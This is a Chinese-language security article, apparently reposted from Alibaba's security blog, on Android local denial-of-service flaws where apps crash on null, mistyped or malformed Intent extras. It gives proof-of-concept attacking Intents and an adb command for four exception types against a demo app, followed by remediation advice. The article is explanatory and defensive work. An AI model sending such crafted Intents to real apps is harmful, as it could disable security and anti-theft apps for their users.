Android 應用本地拒絕服務漏洞淺析

1.本地拒絕服務漏洞描述

Android 系統提供了 Activity、Service 和 Broadcast Receiver 等組件,並提供了 Intent 機制來協助應用間的交互與通信,Intent 負責對應用中一次操做的動做、動做涉及數據、附加數據進行描述,Android 系統則根據此 Intent 的描述,負責找到對應的組件,將 Intent 傳遞給調用的組件,並完成組件的調用。Android 應用本地拒絕服務漏洞源於程序沒有對 Intent.getXXXExtra() 獲取的異常或者畸形數據處理時沒有進行異常捕獲,從而致使攻擊者可經過向受害者應用發送此類空數據、異常或者畸形數據來達到使該應用 crash 的目的,簡單的說就是攻擊者經過 intent 發送空數據、異常或畸形數據給受害者應用,致使其崩潰。android

近期,兩位 0xr0ot 和 Xbalien 安全研究人員發現了一處通用的本地拒絕服務漏洞。該通用型本地拒絕服務能夠形成大面積的 app 拒絕服務。通用型本地拒絕服務漏洞,主要源於攻擊者向 Intent 中傳入其自定義的序列化類對象,當調用組件收到此 Extra 序列化類對象時,沒法找到此序列化類對象的類定義,所以發生類未定義的異常而致使應用崩潰。shell

本地拒絕服務漏洞不只能夠致使安全防禦等應用的防禦功能被繞過或失效(如殺毒應用、安全衛士、防盜鎖屏等),並且也可被競爭方應用利用來攻擊,使得本身的應用崩潰,形成不一樣程度的經濟利益損失。數組

2. 本地拒絕服務漏洞影響範圍

Android系統全部版本。安全

3. 本地拒絕服務漏洞詳情

  1. 漏洞位置:處理 getIntent() 的 intent 附帶的數據
  2. 漏洞觸發前提條件:

    • getIntent() 的 intent 附帶空數據、異常或畸形數據
    • 處理 getXXXExtra() 獲取的數據時沒有進行異常捕獲
  3. 漏洞原理:Android 系統中提供了 Intent 機制來協助應用間的交互與通信,其負責對應用中一次操做的動做、動做涉及數據、附加數據進行描述,系統則根據此 Intent 的描述,負責找到對應的組件,將 Intent 傳遞給調用的組件,並完成組件的調用。調用的組件在處理 Intent 附加數據的時候,沒有進行異常捕獲,所以當處理空數據、異常或者畸形數據時,致使應用崩潰。

4. 漏洞詳細 POC

  1. NullPointerException異常致使的拒絕服務,源於程序沒有對getAction()等獲取到的數據進行空指針判斷,從而致使空指針異常而致使應用崩潰;app

    漏洞應用代碼片斷:spa

    Intent i = new Intent();
    if (i.getAction().equals("TestForNullPointerException")) {
        Log.d("TAG", "Test for Android Refuse Service Bug");
    }

    攻擊應用代碼片斷:指針

    KevindeMacBook-Air-2:~ kevin$ adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity

    攻擊應用代碼運行後結果截圖:code

  2. ClassCastException 異常致使的拒絕服務, 源於程序沒有對 getSerializableExtra() 等獲取到的數據進行類型判斷而進行強制類型轉換,從而致使類型轉換異常而致使應用崩潰cdn

    漏洞應用代碼片斷:xml

    Intent i = getIntent();
    String test = (String)i.getSerializableExtra("serializable_key");

    攻擊應用代碼片斷:

    Intent i = new Intent();
    i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
    i.putExtra("serializable_key", BigInteger.valueOf(1));
    startActivity(i);</pre>`

    擊應用代碼運行後結果截圖:

  3. IndexOutOfBoundsException 異常致使的拒絕服務,源於程序沒有對 getIntegerArrayListExtra() 等獲取到的數據數組元素大小的判斷,從而致使數組訪問越界而致使應用崩潰

    漏洞應用代碼片斷:

    Intent intent = getIntent();
    ArrayList&lt;Integer&gt; intArray = intent.getIntegerArrayListExtra("user_id");
    if (intArray != null) {
        for (int i = 0; i &lt; USER_NUM; i++) {
            intArray.get(i);
        }
    }

    攻擊應用代碼片斷:

    Intent intent = new Intent();
    intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
    ArrayList&lt;Integer&gt; user_id = new ArrayList&lt;Integer&gt;();
    intent.putExtra("user_id", user_id);
    startActivity(intent);

    攻擊應用代碼運行後結果截圖:

  4. ClassNotFoundException 異常致使的拒絕服務,源於程序沒有沒法找到從 getSerializableExtra() 獲取到的序列化類對象的類定義,所以發生類未定義的異常而致使應用崩潰

    漏洞應用代碼片斷:

    Intent i = getIntent();
    i.getSerializableExtra("serializable_key");

    攻擊應用代碼片斷:

    public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         Intent i = new Intent();
         i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
         i.putExtra("serializable_key", new SelfSerializableData());
         startActivity(i);
     }
    static  class SelfSerializableData implements Serializable {
         private static final long serialVersionUID = 42L;
         public SelfSerializableData() {
             super();
         }
     }

    攻擊應用代碼運行後結果截圖:

5. 本地拒絕服務漏洞修復建議

  1. 阿里聚安全建議將沒必要要的導出的組件設置爲不導出

    出於安全考慮,阿里聚安全應將沒必要要的組件導出,防止引發拒絕服務,尤爲是殺毒、安全防禦、鎖屏防盜等安全應用;在AndroidMenifest.xml文件中,將相應組件的 android:exported屬性設置爲 false,以下示例:

    <activity android:name="MyActivity"
            android:exported="false">
        <intent-filter>
            <action android:name="android.intent.action_TEST"/>
        </intent-filter>
    </activity>`
  2. 阿里聚安全建議intent處理數據時進行捕獲異常

    阿里聚安全建議處理經過 Intent.getXXXExtra() 獲取的數據時進行如下判斷,以及用 try catch 方式進行捕獲全部異常,以防止應用出現拒絕服務漏洞:

    • 空指針異常;
    • 類型轉換異常;
    • 數組越界訪問異常;
    • 類未定義異常;
    • 其餘異常;

轉自 阿里聚安全博客常見漏洞系列

相關文章
相關標籤/搜索